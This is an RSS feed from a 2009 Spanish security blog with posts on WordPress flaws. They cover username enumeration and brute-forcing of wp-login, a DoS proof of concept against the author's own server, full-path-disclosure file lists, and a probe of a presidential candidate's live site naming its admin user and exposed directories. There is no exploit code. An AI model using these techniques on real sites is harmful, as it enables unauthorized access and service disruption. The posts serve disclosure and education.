<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; wordpress</title>
	<atom:link href="http://blog.zerial.org/tag/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Wed, 08 Feb 2012 20:48:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Error de actualización desde WordPress 2.8 a 2.9</title>
		<link>http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/</link>
		<comments>http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 20:51:13 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[actualizacion]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1272</guid>
		<description><![CDATA[Hace un rato que actualicé la versión de wordpress de mi blog junto a otros wordpress que administro, pero sólo mi versión tuvo un problema. Me mostraba todas las páginas en blanco. Al parecer no soy el único que tuvo ese problema, ya que puedo ver en distintos sitios a mucha gente que le ocurre [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1273" title="wordpress-250x250" src="http://blog.zerial.org/wp-content/uploads/2009/12/wordpress-250x250.png" alt="" width="250" height="250" /></p>
<p>Hace un rato que actualicé la versión de wordpress de mi blog junto a otros wordpress que administro, pero sólo mi versión tuvo un problema. Me mostraba todas las páginas en blanco. Al parecer no soy el único que tuvo ese problema, ya que puedo ver en distintos sitios a mucha gente que le ocurre lo mismo:</p>
<p><a href="http://es.wordpress.org/2009/12/19/error-de-pagina-en-blanco-tras-actualizar" target="_blank">http://es.wordpress.org/2009/12/19/error-de-pagina-en-blanco-tras-actualizar</a><br />
<a href="http://ayudawordpress.com/wordpress-2-9-espanol-ya-disponible/" target="_blank">http://ayudawordpress.com/wordpress-2-9-espanol-ya-disponible/</a></p>
<p>Algunos hablan de hacer un <em>downgrade</em> y otros hablan de volver a instalar wordpress. Pues yo me di el trabajo de depurar el problema y determinar que archivo era el que estaba generando conflictos.<br />
Al actualizar a wordpress 2.9, al parecerno se está actualizando correctamente el fichero <strong>wp-includes/functions.php</strong>.</p>
<p><strong>¿Qué hice para solucionarlo?</strong><br />
Simplemente me descargué la nueva versión de WordPress (en español o en inglés) y copié el fichero hacia mi instalación.</p>
<p><strong>Actualización:</strong> <a href="http://wordpress.org/development/2009/12/wordpress-2-9-1-beta-1/" target="_blank">Se ha publicado una version 2.9.1 Beta 1 donde corrigen, entre otras cosas, éste error</a>.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Ftips%2Ferror-de-actualizacion-desde-wordpress-2-8-a-2-9%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/"  data-text="Error de actualización desde WordPress 2.8 a 2.9" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/tips/error-de-actualizacion-desde-wordpress-2-8-a-2-9/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Ataque de fuerza bruta a WordPress</title>
		<link>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 12:29:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[login]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1175</guid>
		<description><![CDATA[Los ataques por fuerza bruta a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de Throttling Login Attempts o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques. Determinar los nombres de usuarios es tan sencillo [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1196" style="margin: 4px;" title="bruteforce" src="http://blog.zerial.org/wp-content/uploads/2009/12/bruteforce-300x230.jpg" alt="bruteforce" width="192" height="147" />Los ataques por <em>fuerza bruta</em> a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de <strong>Throttling Login Attempts </strong>o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques.<br />
Determinar los nombres de usuarios es tan sencillo como escribir algún supuesto usuario y llenar el campo de contraseña con cualquier información, cuando presionemos &#8220;Iniciar Sesion&#8221; el sistema nos dirá &#8220;<em>Usuario incorrecto</em>&#8221; si es que el usuario <strong>no</strong> existe o bien &#8220;<em>Password incorrecta</em>&#8220;, en el caso que el usuario <strong>si</strong> exista y el password sea invlálido. Con un ataque distribuido es posible obtener el password de un usuario en particular muy sencillamente, sólo es cosa de tiempo.<br />
Si pensamos hacerlo de forma remota puede que nos tardemos un poco más, pero pensemos desde el mismo lado del servidor, imaginemosnos que tenemos una cuenta en el hosting donde está hospedado el CMS, será todo mucho más fácil y más rápido.</p>
<p><span id="more-1175"></span></p>
<p><img class="alignright size-medium wp-image-949" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un tiempo, yo <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/">publiqué un script en php</a> <strong>bastante</strong> sencillo que nos permitía hacer ésto en simples pasos leyendo palabras desde un diccionario, lo interesante de éste script es que no sólo funciona con wordpress, sino con cualquier weblogin &#8220;simple&#8221; e inseguro. Luego encontré un artículo relacionado muy interesante, que hablaba sobre estos tipos de ataques y analizaban un script que encontraron en un servidor, el cual era mucho mas sofisticado y trabajado que el mio, permitia hacer ataques distribuidos desde distintas máquinas y de esta forma aumentar si desempeño más de un 1000% (sí, mil por ciento).</p>
<p>Su funcionamiento (copy&amp;paste):</p>
<blockquote><p>La funcion wp_brute_attempt() toma 3 parámetros, $ch que es la estuctura cURL (cURL es una herramienta de línea de comando que se puede usar para realizar peticiones HTTP ). Los otros dos parámetros definen el sitio y la contraseña que se intentará. Si el script consigue validarse exitosamente, la página que es devuelta por el servidor contendrá la frase &#8220;Log Out&#8221;, y la función devolverá el valor verdadero.</p>
<p>Ahora, lo interesante del script es que permite el cracking distribuido. La información es guardada en una base de datos MySQL y el script realmente se conecta en forma directa a la base de datos principal. Esto permite al atacante correr varios scripts simultáneos &#8211; cada uno de ellos tomará 200 URL nuevas y las marcará con el ID del script forzador ($colo)</p></blockquote>
<p>Encuentro <strong>súper</strong> interesante lo que se hizo y de la forma en que fue pensado, la próxima véz que se me ocurra hacer algo así, lo hare distribuido usando una base de datos accesible remotamente para aumentar el rendimiento y desempeño del script. Si lo llego a hacer, publicaré una prueba de concepto con los resultados.</p>
<p>Fuente en español: <a href="http://blog.segu-info.com.ar/2009/11/instalaciones-de-wordpress-bajo-ataques.html" target="_blank">Segu-Info</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fataque-de-fuerza-bruta-a-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/"  data-text="Ataque de fuerza bruta a WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ataque-de-fuerza-bruta-a-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Sitios web de candidatos presidenciales al descubierto: MEO</title>
		<link>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/</link>
		<comments>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 18:50:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[meo]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1161</guid>
		<description><![CDATA[Como ya anuncié hace un rato, empezaré con el sitio http://marco2010.cl. Cuando comencé a escribir sobre éste sitio web, existía una vulnerabilidad de descubrimiento del path (Full Path Disclosure) junto a un SQL Injection y un XSS, dentro de un &#8220;plugin&#8221; hecho para las votaciones lo que luego fue corregido, no logré sacar screenshot y [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/seguridad/test-de-seguridad-a-sitios-web-de-cantidados-presidenciales-2010/" target="_blank">Como ya anuncié hace un rato</a>, empezaré con el sitio <strong>http://marco2010.cl</strong>.</p>
<p><img class="size-full wp-image-1164 alignleft" style="margin: 4px;" title="meowned" src="http://blog.zerial.org/wp-content/uploads/2009/11/meowned.png" alt="meowned" width="139" height="78" /></p>
<p>Cuando comencé a escribir sobre éste sitio web, existía una vulnerabilidad de descubrimiento del path (<em>Full Path Disclosure</em>) junto a un <em>SQL Injection</em> y un <em>XSS</em>, dentro de un &#8220;plugin&#8221; hecho para las votaciones lo que luego fue corregido, no logré sacar screenshot y ejemplos para demostrarlo. Que hayan corregido éstos errores es un punto a favor para la seguridad del sitio. Vamos a ver hasta qué punto podemos poner a prueba la seguridad.</p>
<p><span id="more-1161"></span></p>
<p>Es un sitio hecho en WordPress, por lo cual ya sabemos las rutas de los archivos y las posibles vulnerabilidades que podría tener el sitio. Por ejemplo, podemos empezar probando con el clásico wp-login que es el script que nos permite iniciar la sesión, descubrir una lista de usuarios, <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/" target="_blank">hacer fuerza bruta</a>, etc. Nos vamos a la URL</p>
<blockquote><p><a href="http://www.marco2010.cl/wp-login.php" target="_blank">http://www.marco2010.cl/wp-login.php</a></p></blockquote>
<p>Y como podemos ver, ya nos aparece el formulario para iniciar la sesión. Para éstos casos, existe un <strong>truco</strong> y es probar siempre con el usuario <em>admin</em>, para ver si lo tienen habilitado, ya que es el único usuario que viene por <strong>defecto</strong>.</p>
<p><img class="aligncenter size-full wp-image-1183" title="wplogin" src="http://blog.zerial.org/wp-content/uploads/2009/12/wplogin.png" alt="wplogin" width="356" height="446" /></p>
<p>Como podemos ver en el recuadro de &#8220;<em>error</em>&#8220;, nos dice que la contraseña es inválida, por ende, asumimos que el usuario está correcto. Ya sabemos que existe el usuario <em>admin</em>, ahora solo falta <a href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/" target="_blank">romper la password</a>. Mientras dejamos un script de fuerza bruta corriendo, tambien podemos intentar averiguar más usuarios dentro del sistema, hasta llegar con alguno que tenga una password más fácil de romper con el cual podamos ganar acceso al <strong>dashboard</strong> del sitio.</p>
<p>Hay que tener en cuenta que ultimamente se han estado realizado muchos ataques por fuerza bruta a distintas instalaciones de wordpress. Pueden leer más sobre esto en el artículo titulado:</p>
<blockquote><p><strong><a href="http://isc.sans.org/diary.html?storyid=7663">Distributed WordPress admin account cracking</a></strong></p></blockquote>
<p>Si bien la mayoría de los sitios en wordpress (incluyendo el mio) tienen este tipo de &#8220;fallo&#8221;, considero que es agujero de seguridad y que debería implementarse por último un <em>htaccess</em>.</p>
<p>Otra cosa que me llamó la atención es que los <strong>desarrolladores</strong> del theme <a href="http://web.marco2010.cl/wp-content/themes/marcoenriquezominami/" target="_blank"><em>marcoenriquezominami</em></a> han <span style="text-decoration: line-through;">desarrollado</span> instalado un sistema de votacion o encuestas el cual lo han dejado dentro del directorio del theme. Toda la gente que ha desarrollado alguna véz en WordPress, sabrá que para éste tipo de cosas, debería crearse un plugin. El sistema que estos tipos descargaron e instalaron es el <strong>Advanced Poll 2.08</strong>, si  buscamos en google podemos ver que las versiones anteriores tienen diversas vulnerabilidades y que para descubrir alguna, basta con que descarguemos el codigo y sepamos como explotar algun fallo no reportado.<br />
La URL para manejar las encuestas es:</p>
<blockquote><p><a href="http://encuestas.marco2010.cl/admin/" target="_blank">http://encuestas.marco2010.cl/admin/</a></p></blockquote>
<p>Si bien lo que les mostraré a continuación no es un &#8220;fallo de seguridad&#8221;, si nos va a permitir  ver cosas que quizá ellos no quieren que veamos, como la lista de archivos subidos, etc. Directory Listing:</p>
<ul>
<li><a href="# http://web.marco2010.cl/wp-content/uploads/" target="_blank">http://web.marco2010.cl/wp-content/uploads/</a></li>
<li><a href="http://web.marco2010.cl/wp-content/plugins/downloads-manager/upload/" target="_blank">http://web.marco2010.cl/wp-content/plugins/downloads-manager/upload/</a></li>
</ul>
<p>Tambien tiene un wiki disponible en http://wiki.marco2010.cl.</p>
<p>Como conclusión, lo único que les puedo decir es que la seguridad del sitio va a depender de la seguridad de WordPress, Advanced Poll y de Wikimedia.<br />
Si bien el sitio es &#8220;seguro&#8221;, será lo suficientemente vulnerable a medida que se vayan publicando bugs de las herramientas que nombré anteriormente.<br />
Por ejemplo, cuando se publicó el <strong>DoS</strong> que afectaba al <em>wp-trackback</em>, éste sitio era completamente vulnerable. Yo mismo lo probé antes de que lo actualizaran.</p>
<p><strong>Actualizado (<em>10-12-2009</em>)</strong> La persona encargada se contactó conmigo y acogieron mis recomendaciones.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsitios-web-de-candidatos-presidenciales-al-descubierto-meo%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/"  data-text="Sitios web de candidatos presidenciales al descubierto: MEO" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-meo/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>FPD en WordPress no es considerado un error</title>
		<link>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/</link>
		<comments>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:42:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1100</guid>
		<description><![CDATA[Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que afectaba a los plugins y a los archivos propios del CMS. Luego de unas semanas de haberlo reportado recibí una respuesta: We consider path disclosures a server configuration error. WordPress files don&#8217;t protect against disclosing paths when directly [...]]]></description>
			<content:encoded><![CDATA[<p>Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/" target="_blank">afectaba a los plugins</a> y a <a href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/" target="_blank">los archivos propios del CMS</a>. Luego de unas semanas de haberlo reportado recibí una respuesta:</p>
<blockquote><p>We consider path disclosures a server configuration error.  WordPress<br />
files don&#8217;t protect against disclosing paths when directly loaded.</p></blockquote>
<p>En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.<br />
Pueden leer <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo donde se discute</a> sobre el tema.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/"  data-text="FPD en WordPress no es considerado un error" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[Proof-of-Concept] DoS gracias al script wp-trackbacks de wordpress</title>
		<link>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 22:48:54 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[proof-of-concept]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1033</guid>
		<description><![CDATA[Un par de horas atrás, publiqué un artículo luego de haber leído una publicación de jcarlosn. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar [...]]]></description>
			<content:encoded><![CDATA[<p>Un par de horas atrás, <a href="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/">publiqué un artículo</a> luego de haber leído <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">una publicación de jcarlosn</a>. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar su comportamiento y ver cómo <em>sufre</em> el servidor objetivo.</p>
<p>Duración de la prueba de concepto: <strong>2 minutos</strong><br />
Sitio o servidor objetivo: <strong>blog.zerial.org</strong><br />
Tipo de exploit: <strong>remoto</strong><br />
Vulnerabilidad: <strong>Resource Exhaustion (DoS)</strong><br />
Descripción: <strong>El servidor comienza a consumir recursos hasta agotarlos, provocando la denegación del servicio.</strong></p>
<p><img class="aligncenter size-full wp-image-1035" title="wpress-test" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress-test.png" alt="wpress-test" width="344" height="358" /></p>
<p>Ejecuté el exploit en tres consolas distintas de forma simultanea, y al pasar 10 o 15 segundos ya se comenzó a notar el consumo de recursos en el servidor.</p>
<p><span id="more-1033"></span></p>
<p><img class="aligncenter size-full wp-image-1036" title="wpress" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress.png" alt="wpress" width="521" height="96" /></p>
<p>La carga promedio ya va en <strong>2.83</strong> y el consumo del/los CPU llegando al <strong>100%</strong>, un par de segundos más y &#8230;</p>
<p><img class="aligncenter size-full wp-image-1037" title="wpress2" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress2.png" alt="wpress2" width="524" height="86" /></p>
<p>La carga promedio ya va en <strong>3.75</strong> y los procesadores están a su <strong>100%</strong>, si se fijan en la memoria está consumiendo <em>408MB de 540</em>, es decir, el servidor ya se está quedando sin recursos. Siguen pasando los segundos &#8230;</p>
<p><img class="aligncenter size-full wp-image-1038" title="wpress3" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress3.png" alt="wpress3" width="324" height="15" /></p>
<p><img class="aligncenter size-full wp-image-1039" title="wpress4" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress4.png" alt="wpress4" width="171" height="16" /></p>
<p><strong>458Mb</strong> de ram y <strong>4.25</strong> de carga.</p>
<p>Los logs de apache me muestran las distintas peticiones simultaneas que hace el exploit:</p>
<p><img class="aligncenter size-full wp-image-1040" title="wpress-log" src="http://blog.zerial.org/wp-content/uploads/2009/10/wpress-log.png" alt="wpress-log" width="584" height="54" /></p>
<p>Esta prueba de concepto la realicé con 3 peticiones simultaneas y durante 2 míseros minutos, si aumentamos las instancias del exploit y alargamos un poco mas el periodo de prueba, fácilmente podremos lograr la denegación de servicio en el servidor.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/"  data-text="[Proof-of-Concept] DoS gracias al script wp-trackbacks de wordpress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/proof-of-concept-dos-gracias-al-script-wp-trackbacks-de-wordpress/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Más Full Path Disclosure en WordPress y sin solución</title>
		<link>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/</link>
		<comments>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 18:53:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1016</guid>
		<description><![CDATA[Hace unos días publiqué un artículo sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en un hilo de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos días publiqué <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/">un artículo</a> sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo</a> de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que tenian esta vulnerabilidad, sino muchos más dentro de todo el sistema de wordpress.<img class="alignright size-medium wp-image-949" style="margin: 2px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" /><br />
En la lista full disclosure y por otros medios, la gente me decia que eso se desactivaba facilmente deshabilitando la opcion &#8220;display errors&#8221; de php (ya sea en el php.ini, htaccess o en el mismo fichero php) pero mi opinión fue siempre la misma: Esta forma de &#8216;solucionarlo&#8217; ocultaría el error pero en ningún caso lo solucionaría, es decir, el problema continuaría estando, pero oculto. Otras personas dieron otro tipo de solución como la de editar los ficheros e incluir una validación de la existencia de algunas constantes o variables que WordPress setea y, de esta forma, saber si el fichero se está ejecutando directamente o mediante wordpress.</p>
<p>Este problema lo reporté a security en wordpress.com el mismo día que hice la publicación pero no obtuve respuesta.</p>
<p>Ahora les mostraré los otros ficheros por los cuales es posible descubrir la ruta completa del sistema y las posibles soluciones que me han palnteado.</p>
<p><span id="more-1016"></span></p>
<p>Dentro del directorio wp-admin/import tenemos varios ficheros php:</p>
<blockquote><p>blogger.php<br />
blogware.php<br />
btt.php<br />
dotclear.php<br />
greymatter.php<br />
jkw.php<br />
livejournal.php<br />
mt.php<br />
opml.php<br />
rss.php<br />
stp.php<br />
textpattern.php<br />
utw.php<br />
wordpress.php<br />
wp-cat2tag.php</p></blockquote>
<p><strong>Todos</strong> vulnerables.<br />
Dentro de wp-admin/includes tenemos los siguientes ficheros vulnerables:</p>
<blockquote><p>admin.php<br />
class-ftp-pure.php<br />
class-ftp-sockets.php<br />
class-wp-filesystem-direct.php<br />
class-wp-filesystem-ftpext.php<br />
class-wp-filesystem-ftpsockets.php<br />
class-wp-filesystem-ssh2.php<br />
comment.php<br />
continents-cities.php<br />
file.php<br />
media.php<br />
misc.php<br />
plugin-install.php<br />
plugin.php<br />
schema.php<br />
template.php<br />
theme-install.php<br />
update.php<br />
upgrade.php<br />
user.php</p></blockquote>
<p>La solución que plantea esta persona es la siguiente:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
